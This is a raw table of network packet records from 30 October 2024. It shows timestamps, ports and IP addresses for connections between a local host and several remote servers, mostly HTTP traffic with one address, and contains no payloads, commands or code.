Oct 30, 2024 11:45:43.314968109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.314985991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315002918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315002918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315015078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315021038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315031052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315046072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315072060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315226078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315242052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315257072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315282106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315327883 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.315334082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315349102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315366030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315377951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315382957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315393925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315419912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315449953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315526009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315541983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315557957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315578938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315582991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315602064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315603018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315619946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315625906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315635920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315644979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315660000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315671921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315866947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315890074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315910101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315913916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315927029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315936089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315953016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315964937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.315968990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315987110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.315994024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316004992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.316016912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316021919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.316028118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316039085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.316049099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316056967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.316066027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316086054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.316095114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.356026888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356051922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356065989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356111050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.356139898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356156111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.356157064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356174946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.356178045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.356203079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.356231928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.369649887 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.370323896 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.370383024 CET	443	49971	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.370434999 CET	49971	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.382162094 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.382711887 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.382803917 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.382978916 CET	443	49970	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.383038998 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.383038998 CET	49970	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.403661013 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.404083014 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.404097080 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.404551029 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.404555082 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.429327965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429378033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429394007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429419041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429435015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429450035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429466009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429459095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429522038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429548025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429563999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429579973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429595947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429604053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429619074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429652929 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429691076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429707050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429723024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429733038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429750919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429775000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429801941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429825068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429841995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429857969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429867983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429874897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429889917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429908037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.429951906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.429986000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430027962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430073977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430089951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430105925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430123091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430131912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430145979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430172920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430248976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430286884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430325031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430341959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430362940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430380106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430393934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430409908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430442095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430459023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430463076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430476904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430488110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430491924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430515051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430542946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430654049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430691004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430708885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430726051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430748940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430762053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430829048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430845022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430867910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430869102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430886030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430886984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430902958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430903912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430919886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430921078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430938959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430943012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430955887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430955887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.430974007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.430980921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431020975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431190968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431237936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431253910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431279898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431293011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431296110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431318045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431334019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431334019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431351900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431359053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431369066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431387901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431395054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431410074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431427002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431428909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431443930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431447029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431461096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431467056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431478977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.431483984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431503057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.431519985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.444159985 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.444406986 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.444457054 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:43.445144892 CET	49972	443	192.168.2.6	18.238.171.114
Oct 30, 2024 11:45:43.445178986 CET	443	49972	18.238.171.114	192.168.2.6
Oct 30, 2024 11:45:43.458826065 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.459350109 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.459386110 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.459790945 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.459798098 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.471512079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471528053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471544981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471569061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471580982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.471585035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471602917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471621037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.471621990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.471646070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.471661091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.533430099 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.544543028 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.544581890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544614077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544629097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544668913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.544718981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.544771910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544810057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.544888020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544928074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.544934988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544950962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544974089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.544975996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.544991016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545015097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545015097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545021057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545042038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545057058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545068026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545080900 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.545104980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545135975 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.545243025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545258999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545274973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545280933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545293093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545295000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545310974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545312881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545330048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545336008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545346975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545352936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545370102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545377016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545393944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545409918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545414925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545427084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545444012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545449972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545459986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545476913 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545481920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545500994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545525074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545634031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545648098 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.545650005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545669079 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.545670033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545675993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545691967 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545715094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545730114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545746088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545767069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545785904 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545869112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545886040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545902014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545907021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545924902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545926094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545943022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545943975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545960903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545980930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.545981884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.545995951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546010017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546029091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546077967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546093941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546103001 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.546108007 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.546109915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546113968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546133041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546138048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546154976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546159029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546180964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546221972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546303034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546318054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546334982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.546360016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546406031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.546657085 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.546668053 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.546678066 CET	49973	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.546683073 CET	443	49973	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.547389984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547409058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547425985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547439098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547441959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547461033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547471046 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547471046 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547477961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547483921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547496080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547502041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547513962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547518015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547532082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547533989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547549009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547550917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547564030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547571898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547585964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547589064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547606945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547609091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547624111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547632933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547641993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547663927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547671080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547679901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547687054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547703981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547708035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547722101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.547724962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.547743082 CET	49888	80	192.168.2.6	185.215.113.206
